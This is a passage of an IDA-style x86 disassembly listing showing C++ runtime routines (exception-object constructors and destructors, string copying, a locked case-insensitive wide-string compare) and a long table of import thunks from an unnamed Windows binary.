[ebp+var_20] push eax lea ecx, [ebp+var_1C] call sub_43A4C0 push offset dword_43E4C0 lea ecx, [ebp+var_1C] push ecx call sub_43B240 mov esp, ebp pop ebp retn sub_43A550 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A580 proc near ; CODE XREF: sub_43A5E0+Ap ; sub_43A6B0+13p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_43A580 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp+var_10], ecx mov eax, [ebp+var_10] mov dword ptr [eax], offset off_43E110 mov [ebp+var_4], 0 mov ecx, [ebp+var_10] add ecx, 0Ch call sub_40DC3D mov [ebp+var_4], 0FFFFFFFFh mov ecx, [ebp+var_10] call sub_43B080 mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_43A580 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A5E0 proc near ; DATA XREF: _1:off_43E110o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_43A580 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_43A605 mov ecx, [ebp+var_4] push ecx call sub_420B80 add esp, 4 loc_43A605: ; CODE XREF: sub_43A5E0+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43A5E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A610 proc near ; CODE XREF: sub_43A460+3Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_43A640 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_43E120 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43A610 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A640 proc near ; CODE XREF: sub_43A610+Ep ; sub_43A7C0+Ep var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_43A640 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 mov [ebp+var_14], ecx mov [ebp+var_10], offset dword_43CF7C lea eax, [ebp+var_10] push eax mov ecx, [ebp+var_14] call sub_43AF50 mov [ebp+var_4], 0 mov ecx, [ebp+arg_0] push ecx mov ecx, [ebp+var_14] add ecx, 0Ch call sub_40DBF4 mov edx, [ebp+var_14] mov dword ptr [edx], offset off_43E110 mov [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_14] mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn 4 sub_43A640 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A6B0 proc near ; CODE XREF: sub_43A700+Ap ; DATA XREF: _1:0043E454o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], offset off_43E120 mov ecx, [ebp+var_4] call sub_43A580 mov esp, ebp pop ebp retn sub_43A6B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A6D0 proc near ; DATA XREF: _1:0043E128o var_20 = dword ptr -20h var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 20h mov [ebp+var_20], ecx mov eax, [ebp+var_20] push eax lea ecx, [ebp+var_1C] call sub_43A730 push offset dword_43E450 lea ecx, [ebp+var_1C] push ecx call sub_43B240 mov esp, ebp pop ebp retn sub_43A6D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A700 proc near ; DATA XREF: _1:off_43E120o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_43A6B0 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_43A725 mov ecx, [ebp+var_4] push ecx call sub_420B80 add esp, 4 loc_43A725: ; CODE XREF: sub_43A700+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43A700 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A730 proc near ; CODE XREF: sub_43A6D0+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_43A4C0 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_43E120 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43A730 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A760 proc near ; CODE XREF: sub_40DD57+17p ; sub_40DFD6+Ep var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_43A760 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [ebp+var_3C] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp+var_38] call sub_40DC1A mov [ebp+var_4], 0 lea ecx, [ebp+var_38] push ecx lea ecx, [ebp+var_28] call sub_43A7C0 push offset dword_43E550 lea edx, [ebp+var_28] push edx call sub_43B240 mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_43A760 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A7C0 proc near ; CODE XREF: sub_43A760+3Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_43A640 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_43E148 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43A7C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A7F0 proc near ; CODE XREF: sub_43A840+Ap ; DATA XREF: _1:0043E554o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], offset off_43E148 mov ecx, [ebp+var_4] call sub_43A580 mov esp, ebp pop ebp retn sub_43A7F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A810 proc near ; DATA XREF: _1:0043E150o var_20 = dword ptr -20h var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 20h mov [ebp+var_20], ecx mov eax, [ebp+var_20] push eax lea ecx, [ebp+var_1C] call sub_43A870 push offset dword_43E550 lea ecx, [ebp+var_1C] push ecx call sub_43B240 mov esp, ebp pop ebp retn sub_43A810 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A840 proc near ; DATA XREF: _1:off_43E148o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_43A7F0 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_43A865 mov ecx, [ebp+var_4] push ecx call sub_420B80 add esp, 4 loc_43A865: ; CODE XREF: sub_43A840+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43A840 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A870 proc near ; CODE XREF: sub_43A810+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_43A4C0 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_43E148 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43A870 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A8A0 proc near ; DATA XREF: _2:0043F014o push ebp mov ebp, esp call sub_40E188 call sub_43A8C0 call sub_43A8E0 call sub_43A910 pop ebp retn sub_43A8A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A8C0 proc near ; CODE XREF: sub_43A8A0+8p push ebp mov ebp, esp push offset nullsub_1 call sub_420D10 add esp, 4 pop ebp retn sub_43A8C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A8E0 proc near ; CODE XREF: sub_43A8A0+Dp push ebp mov ebp, esp xor eax, eax mov al, ds:byte_4F4A3C and eax, 1 test eax, eax jnz short loc_43A900 mov cl, ds:byte_4F4A3C or cl, 1 mov ds:byte_4F4A3C, cl loc_43A900: ; CODE XREF: sub_43A8E0+Fj pop ebp retn sub_43A8E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A910 proc near ; CODE XREF: sub_43A8A0+12p push ebp mov ebp, esp push offset sub_43A930 call sub_420D10 add esp, 4 pop ebp retn sub_43A910 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A930 proc near ; DATA XREF: sub_43A910+3o push ebp mov ebp, esp pop ebp retn sub_43A930 endp ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43A936 proc near ; CODE XREF: sub_40E29B+6Fp jmp ds:dword_4F54F4 sub_43A936 endp ; --------------------------------------------------------------------------- jmp ds:dword_4F554C ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43A942 proc near ; CODE XREF: sub_40D5A3+5Ep ; sub_40F2F1+148p ... jmp ds:dword_4F5548 sub_43A942 endp ; --------------------------------------------------------------------------- jmp ds:dword_4F5544 ; --------------------------------------------------------------------------- jmp ds:dword_4F5540 ; --------------------------------------------------------------------------- jmp ds:dword_4F553C ; --------------------------------------------------------------------------- jmp ds:dword_4F5538 ; --------------------------------------------------------------------------- jmp ds:dword_4F5534 ; --------------------------------------------------------------------------- jmp ds:dword_4F5530 ; --------------------------------------------------------------------------- jmp ds:dword_4F552C ; --------------------------------------------------------------------------- jmp ds:dword_4F5528 ; --------------------------------------------------------------------------- jmp ds:dword_4F5550 ; --------------------------------------------------------------------------- jmp ds:dword_4F5520 ; --------------------------------------------------------------------------- jmp ds:dword_4F551C ; --------------------------------------------------------------------------- jmp ds:dword_4F5518 ; --------------------------------------------------------------------------- jmp ds:dword_4F5514 ; --------------------------------------------------------------------------- jmp ds:dword_4F5510 ; --------------------------------------------------------------------------- jmp ds:dword_4F550C ; --------------------------------------------------------------------------- jmp ds:dword_4F5508 ; --------------------------------------------------------------------------- jmp ds:dword_4F5504 ; --------------------------------------------------------------------------- jmp ds:dword_4F5500 ; --------------------------------------------------------------------------- jmp ds:dword_4F54FC ; --------------------------------------------------------------------------- jmp ds:dword_4F5524 ; --------------------------------------------------------------------------- jmp ds:off_4F5338 ; --------------------------------------------------------------------------- jmp ds:off_4F533C ; --------------------------------------------------------------------------- jmp ds:dword_4F5340 ; --------------------------------------------------------------------------- jmp ds:off_4F5344 ; --------------------------------------------------------------------------- jmp ds:dword_4F5348 ; --------------------------------------------------------------------------- jmp ds:dword_4F534C ; --------------------------------------------------------------------------- jmp ds:dword_4F5350 ; --------------------------------------------------------------------------- jmp ds:dword_4F5354 ; --------------------------------------------------------------------------- jmp ds:dword_4F5358 ; --------------------------------------------------------------------------- jmp ds:dword_4F535C ; --------------------------------------------------------------------------- jmp ds:dword_4F5360 ; --------------------------------------------------------------------------- jmp ds:dword_4F5364 ; --------------------------------------------------------------------------- jmp ds:dword_4F5368 ; --------------------------------------------------------------------------- jmp ds:off_4F536C ; --------------------------------------------------------------------------- jmp ds:off_4F5370 ; --------------------------------------------------------------------------- jmp ds:dword_4F5374 ; --------------------------------------------------------------------------- jmp ds:dword_4F5378 ; --------------------------------------------------------------------------- jmp ds:dword_4F537C ; --------------------------------------------------------------------------- jmp ds:dword_4F5380 ; --------------------------------------------------------------------------- jmp ds:dword_4F5384 ; --------------------------------------------------------------------------- jmp ds:dword_4F5388 ; --------------------------------------------------------------------------- jmp ds:off_4F538C ; --------------------------------------------------------------------------- jmp ds:off_4F5390 ; --------------------------------------------------------------------------- jmp ds:dword_4F5394 ; --------------------------------------------------------------------------- jmp ds:dword_4F5398 ; --------------------------------------------------------------------------- jmp ds:dword_4F539C ; --------------------------------------------------------------------------- jmp ds:dword_4F53A0 ; --------------------------------------------------------------------------- jmp ds:dword_4F53A4 ; --------------------------------------------------------------------------- jmp ds:dword_4F53A8 ; --------------------------------------------------------------------------- jmp ds:dword_4F53AC ; --------------------------------------------------------------------------- jmp ds:dword_4F53B0 ; --------------------------------------------------------------------------- jmp ds:dword_4F53B4 ; --------------------------------------------------------------------------- jmp ds:dword_4F53B8 ; --------------------------------------------------------------------------- jmp ds:off_4F53BC ; --------------------------------------------------------------------------- jmp ds:off_4F53C0 ; --------------------------------------------------------------------------- jmp ds:dword_4F53C4 ; --------------------------------------------------------------------------- jmp ds:dword_4F53C8 ; --------------------------------------------------------------------------- jmp ds:dword_4F53CC ; --------------------------------------------------------------------------- jmp ds:dword_4F53D0 ; --------------------------------------------------------------------------- jmp ds:dword_4F53D4 ; --------------------------------------------------------------------------- jmp ds:dword_4F53D8 ; --------------------------------------------------------------------------- jmp ds:off_4F53DC ; --------------------------------------------------------------------------- jmp ds:off_4F53E0 ; --------------------------------------------------------------------------- jmp ds:dword_4F53E4 ; --------------------------------------------------------------------------- jmp ds:dword_4F53E8 ; --------------------------------------------------------------------------- jmp ds:off_4F53EC ; --------------------------------------------------------------------------- jmp ds:off_4F53F0 ; --------------------------------------------------------------------------- jmp ds:off_4F53F4 ; --------------------------------------------------------------------------- jmp ds:dword_4F53F8 ; --------------------------------------------------------------------------- jmp ds:dword_4F53FC ; --------------------------------------------------------------------------- jmp ds:dword_4F5400 ; --------------------------------------------------------------------------- jmp ds:dword_4F5404 ; --------------------------------------------------------------------------- jmp ds:dword_4F5408 ; --------------------------------------------------------------------------- jmp ds:dword_4F540C ; --------------------------------------------------------------------------- jmp ds:off_4F5410 ; --------------------------------------------------------------------------- jmp ds:dword_4F52D4 ; --------------------------------------------------------------------------- jmp ds:dword_4F5414 ; --------------------------------------------------------------------------- jmp ds:dword_4F5418 ; --------------------------------------------------------------------------- jmp ds:dword_4F541C ; --------------------------------------------------------------------------- jmp ds:dword_4F5420 ; --------------------------------------------------------------------------- jmp ds:dword_4F5424 ; --------------------------------------------------------------------------- jmp ds:dword_4F5428 ; --------------------------------------------------------------------------- jmp ds:dword_4F542C ; --------------------------------------------------------------------------- jmp ds:dword_4F5430 ; --------------------------------------------------------------------------- jmp ds:dword_4F5434 ; --------------------------------------------------------------------------- jmp ds:off_4F5438 ; --------------------------------------------------------------------------- jmp ds:off_4F543C ; --------------------------------------------------------------------------- jmp ds:off_4F5440 ; --------------------------------------------------------------------------- jmp ds:dword_4F5444 ; --------------------------------------------------------------------------- jmp ds:dword_4F5448 ; --------------------------------------------------------------------------- jmp ds:dword_4F544C ; --------------------------------------------------------------------------- jmp ds:dword_4F5450 ; --------------------------------------------------------------------------- jmp ds:dword_4F5454 ; --------------------------------------------------------------------------- jmp ds:dword_4F5458 ; --------------------------------------------------------------------------- jmp ds:dword_4F545C ; --------------------------------------------------------------------------- jmp ds:dword_4F5460 ; --------------------------------------------------------------------------- jmp ds:dword_4F5464 ; --------------------------------------------------------------------------- jmp ds:dword_4F5468 ; --------------------------------------------------------------------------- jmp ds:dword_4F546C ; --------------------------------------------------------------------------- jmp ds:dword_4F5470 ; --------------------------------------------------------------------------- jmp ds:dword_4F5474 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43ABA6 proc near ; CODE XREF: sub_4203C0+27p ; sub_420730+13p jmp ds:dword_4F5478 sub_43ABA6 endp ; --------------------------------------------------------------------------- jmp ds:dword_4F547C ; --------------------------------------------------------------------------- jmp ds:dword_4F5480 ; --------------------------------------------------------------------------- jmp ds:dword_4F5484 ; --------------------------------------------------------------------------- jmp ds:dword_4F5488 ; --------------------------------------------------------------------------- jmp ds:dword_4F548C ; --------------------------------------------------------------------------- jmp ds:dword_4F5490 ; --------------------------------------------------------------------------- jmp ds:dword_4F5494 ; --------------------------------------------------------------------------- jmp ds:dword_4F5498 ; --------------------------------------------------------------------------- jmp ds:dword_4F549C ; --------------------------------------------------------------------------- jmp ds:dword_4F54A0 ; --------------------------------------------------------------------------- jmp ds:dword_4F54A4 ; --------------------------------------------------------------------------- jmp ds:dword_4F54A8 ; --------------------------------------------------------------------------- jmp ds:dword_4F54AC ; --------------------------------------------------------------------------- jmp ds:dword_4F54B0 ; --------------------------------------------------------------------------- jmp ds:dword_4F54B4 ; --------------------------------------------------------------------------- jmp ds:dword_4F54B8 ; --------------------------------------------------------------------------- jmp ds:dword_4F54BC ; --------------------------------------------------------------------------- jmp ds:dword_4F54C0 ; --------------------------------------------------------------------------- jmp ds:dword_4F54C4 ; --------------------------------------------------------------------------- jmp ds:dword_4F54C8 ; --------------------------------------------------------------------------- jmp ds:dword_4F54CC ; --------------------------------------------------------------------------- jmp ds:dword_4F54D0 ; --------------------------------------------------------------------------- jmp ds:dword_4F54D4 ; --------------------------------------------------------------------------- jmp ds:dword_4F54D8 ; --------------------------------------------------------------------------- jmp ds:dword_4F54DC ; --------------------------------------------------------------------------- jmp ds:dword_4F54E0 ; --------------------------------------------------------------------------- jmp ds:dword_4F54E4 ; --------------------------------------------------------------------------- jmp ds:dword_4F54E8 ; --------------------------------------------------------------------------- jmp ds:dword_4F54EC ; --------------------------------------------------------------------------- jmp ds:dword_4F5334 ; --------------------------------------------------------------------------- jmp ds:dword_4F5330 ; --------------------------------------------------------------------------- jmp ds:dword_4F532C ; --------------------------------------------------------------------------- jmp ds:dword_4F5328 ; --------------------------------------------------------------------------- jmp ds:dword_4F5324 ; --------------------------------------------------------------------------- jmp ds:dword_4F5320 ; --------------------------------------------------------------------------- jmp ds:dword_4F531C ; --------------------------------------------------------------------------- jmp ds:dword_4F5318 ; --------------------------------------------------------------------------- jmp ds:dword_4F5314 ; --------------------------------------------------------------------------- jmp ds:dword_4F5310 ; --------------------------------------------------------------------------- jmp ds:dword_4F530C ; --------------------------------------------------------------------------- jmp ds:dword_4F5308 ; --------------------------------------------------------------------------- jmp ds:dword_4F5304 ; --------------------------------------------------------------------------- jmp ds:off_4F5300 ; --------------------------------------------------------------------------- jmp ds:dword_4F52FC ; --------------------------------------------------------------------------- jmp ds:dword_4F52F8 ; --------------------------------------------------------------------------- jmp ds:dword_4F52F4 ; --------------------------------------------------------------------------- jmp ds:dword_4F52F0 ; --------------------------------------------------------------------------- jmp ds:dword_4F52EC ; --------------------------------------------------------------------------- jmp ds:dword_4F52E8 ; --------------------------------------------------------------------------- jmp ds:dword_4F52E4 ; --------------------------------------------------------------------------- jmp ds:dword_4F52E0 ; --------------------------------------------------------------------------- jmp ds:dword_4F52DC ; --------------------------------------------------------------------------- jmp ds:dword_4F52D8 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43ACF0 proc near ; CODE XREF: sub_417BC7+E2p ; sub_417BC7+F9p ... var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h cmp ds:dword_4F33F8, 0 jnz loc_43ADBA loc_43AD03: ; CODE XREF: sub_43ACF0+BFj mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax] cmp ecx, 5Ah jg short loc_43AD2D mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx] cmp eax, 41h jl short loc_43AD2D mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx] add edx, 20h mov [ebp+var_10], edx jmp short loc_43AD38 ; --------------------------------------------------------------------------- loc_43AD2D: ; CODE XREF: sub_43ACF0+1Ej ; sub_43ACF0+2Bj mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax] mov [ebp+var_10], ecx loc_43AD38: ; CODE XREF: sub_43ACF0+3Bj mov dx, word ptr [ebp+var_10] mov word ptr [ebp+var_4], dx mov eax, [ebp+arg_4] xor ecx, ecx mov cx, [eax] cmp ecx, 5Ah jg short loc_43AD6A mov edx, [ebp+arg_4] xor eax, eax mov ax, [edx] cmp eax, 41h jl short loc_43AD6A mov ecx, [ebp+arg_4] xor edx, edx mov dx, [ecx] add edx, 20h mov [ebp+var_14], edx jmp short loc_43AD75 ; --------------------------------------------------------------------------- loc_43AD6A: ; CODE XREF: sub_43ACF0+5Bj ; sub_43ACF0+68j mov eax, [ebp+arg_4] xor ecx, ecx mov cx, [eax] mov [ebp+var_14], ecx loc_43AD75: ; CODE XREF: sub_43ACF0+78j mov dx, word ptr [ebp+var_14] mov word ptr [ebp+var_C], dx mov eax, [ebp+arg_0] add eax, 2 mov [ebp+arg_0], eax mov ecx, [ebp+arg_4] add ecx, 2 mov [ebp+arg_4], ecx mov edx, [ebp+var_4] and edx, 0FFFFh test edx, edx jz short loc_43ADB5 mov eax, [ebp+var_4] and eax, 0FFFFh mov ecx, [ebp+var_C] and ecx, 0FFFFh cmp eax, ecx jz loc_43AD03 loc_43ADB5: ; CODE XREF: sub_43ACF0+AAj jmp loc_43AE7A ; --------------------------------------------------------------------------- loc_43ADBA: ; CODE XREF: sub_43ACF0+Dj push offset dword_4F37C8 call ds:dword_4F5488 ; InterlockedIncrement cmp ds:dword_4F37C4, 0 jz short loc_43ADEC push offset dword_4F37C8 call ds:dword_4F5484 ; InterlockedDecrement push 13h call sub_423280 add esp, 4 mov [ebp+var_8], 1 jmp short loc_43ADF3 ; --------------------------------------------------------------------------- loc_43ADEC: ; CODE XREF: sub_43ACF0+DCj mov [ebp+var_8], 0 loc_43ADF3: ; CODE XREF: sub_43ACF0+FAj ; sub_43ACF0+16Bj mov edx, [ebp+arg_0] mov ax, [edx] mov [ebp+var_16], ax mov cx, [ebp+var_16] push ecx mov edx, [ebp+arg_0] add edx, 2 mov [ebp+arg_0], edx call sub_43B360 add esp, 4 mov word ptr [ebp+var_4], ax mov eax, [ebp+arg_4] mov cx, [eax] mov [ebp+var_18], cx mov dx, [ebp+var_18] push edx mov eax, [ebp+arg_4] add eax, 2 mov [ebp+arg_4], eax call sub_43B360 add esp, 4 mov word ptr [ebp+var_C], ax mov ecx, [ebp+var_4] and ecx, 0FFFFh test ecx, ecx jz short loc_43AE5D mov edx, [ebp+var_4] and edx, 0FFFFh mov eax, [ebp+var_C] and eax, 0FFFFh cmp edx, eax jz short loc_43ADF3 loc_43AE5D: ; CODE XREF: sub_43ACF0+156j cmp [ebp+var_8], 0 jz short loc_43AE6F push 13h call sub_423320 add esp, 4 jmp short loc_43AE7A ; --------------------------------------------------------------------------- loc_43AE6F: ; CODE XREF: sub_43ACF0+171j push offset dword_4F37C8 call ds:dword_4F5484 ; InterlockedDecrement loc_43AE7A: ; CODE XREF: sub_43ACF0:loc_43ADB5j ; sub_43ACF0+17Dj mov eax, [ebp+var_4] and eax, 0FFFFh mov ecx, [ebp+var_C] and ecx, 0FFFFh sub eax, ecx mov esp, ebp pop ebp retn sub_43ACF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43AEA0 proc near ; CODE XREF: sub_4189CD+21p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jnz short loc_43AEAE xor eax, eax jmp short loc_43AEE3 ; --------------------------------------------------------------------------- loc_43AEAE: ; CODE XREF: sub_43AEA0+8j mov eax, [ebp+arg_0] push eax call sub_41BC70 add esp, 4 add eax, 1 push eax call sub_41BE40 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_43AEE1 mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_4] push edx call sub_41F620 add esp, 8 jmp short loc_43AEE3 ; --------------------------------------------------------------------------- loc_43AEE1: ; CODE XREF: sub_43AEA0+2Dj xor eax, eax loc_43AEE3: ; CODE XREF: sub_43AEA0+Cj ; sub_43AEA0+3Fj mov esp, ebp pop ebp retn sub_43AEA0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] mov dword ptr [eax], offset off_43E15C mov ecx, [ebp-4] mov dword ptr [ecx+4], 0 mov edx, [ebp-4] mov dword ptr [edx+8], 0 mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43AF20 proc near ; DATA XREF: _1:off_43E15Co var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_43B080 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_43AF45 mov ecx, [ebp+var_4] push ecx call sub_420B80 add esp, 4 loc_43AF45: ; CODE XREF: sub_43AF20+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43AF20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43AF50 proc near ; CODE XREF: sub_43A640+2Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov dword ptr [eax], offset off_43E15C mov ecx, [ebp+arg_0] mov edx, [ecx] push edx call sub_41BC70 add esp, 4 add eax, 1 push eax call sub_420C30 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_8] mov ecx, [ebp+var_4] mov [eax+4], ecx mov edx, [ebp+var_8] cmp dword ptr [edx+4], 0 jz short loc_43AFA6 mov eax, [ebp+arg_0] mov ecx, [eax] push ecx mov edx, [ebp+var_8] mov eax, [edx+4] push eax call sub_41F620 add esp, 8 loc_43AFA6: ; CODE XREF: sub_43AF50+3Fj mov ecx, [ebp+var_8] mov dword ptr [ecx+8], 1 mov eax, [ebp+var_8] mov esp, ebp pop ebp retn 4 sub_43AF50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43AFC0 proc near ; CODE XREF: sub_43A4C0+23p ; _0:0043B06Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov dword ptr [eax], offset off_43E15C mov ecx, [ebp+var_8] mov edx, [ebp+arg_0] mov eax, [edx+8] mov [ecx+8], eax mov ecx, [ebp+var_8] cmp dword ptr [ecx+8], 0 jz short loc_43B02F mov edx, [ebp+arg_0] mov eax, [edx+4] push eax call sub_41BC70 add esp, 4 add eax, 1 push eax call sub_420C30 add esp, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_8] mov edx, [ebp+var_4] mov [ecx+4], edx mov eax, [ebp+var_8] cmp dword ptr [eax+4], 0 jz short loc_43B02D mov ecx, [ebp+arg_0] mov edx, [ecx+4] push edx mov eax, [ebp+var_8] mov ecx, [eax+4] push ecx call sub_41F620 add esp, 8 loc_43B02D: ; CODE XREF: sub_43AFC0+55j jmp short loc_43B03B ; --------------------------------------------------------------------------- loc_43B02F: ; CODE XREF: sub_43AFC0+25j mov edx, [ebp+var_8] mov eax, [ebp+arg_0] mov ecx, [eax+4] mov [edx+4], ecx loc_43B03B: ; CODE XREF: sub_43AFC0:loc_43B02Dj mov eax, [ebp+var_8] mov esp, ebp pop ebp retn 4 sub_43AFC0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] cmp eax, [ebp+8] jz short loc_43B073 mov ecx, [ebp-4] call sub_43B080 mov ecx, [ebp+8] push ecx mov ecx, [ebp-4] call sub_43AFC0 loc_43B073: ; CODE XREF: _0:0043B05Dj mov eax, [ebp-4] mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B080 proc near ; CODE XREF: sub_43A580+41p ; sub_43AF20+Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov dword ptr [eax], offset off_43E15C mov ecx, [ebp+var_8] cmp dword ptr [ecx+8], 0 jz short loc_43B0B0 mov edx, [ebp+var_8] mov eax, [edx+4] mov [ebp+var_4], eax mov ecx, [ebp+var_4] push ecx call sub_420B80 add esp, 4 loc_43B0B0: ; CODE XREF: sub_43B080+19j 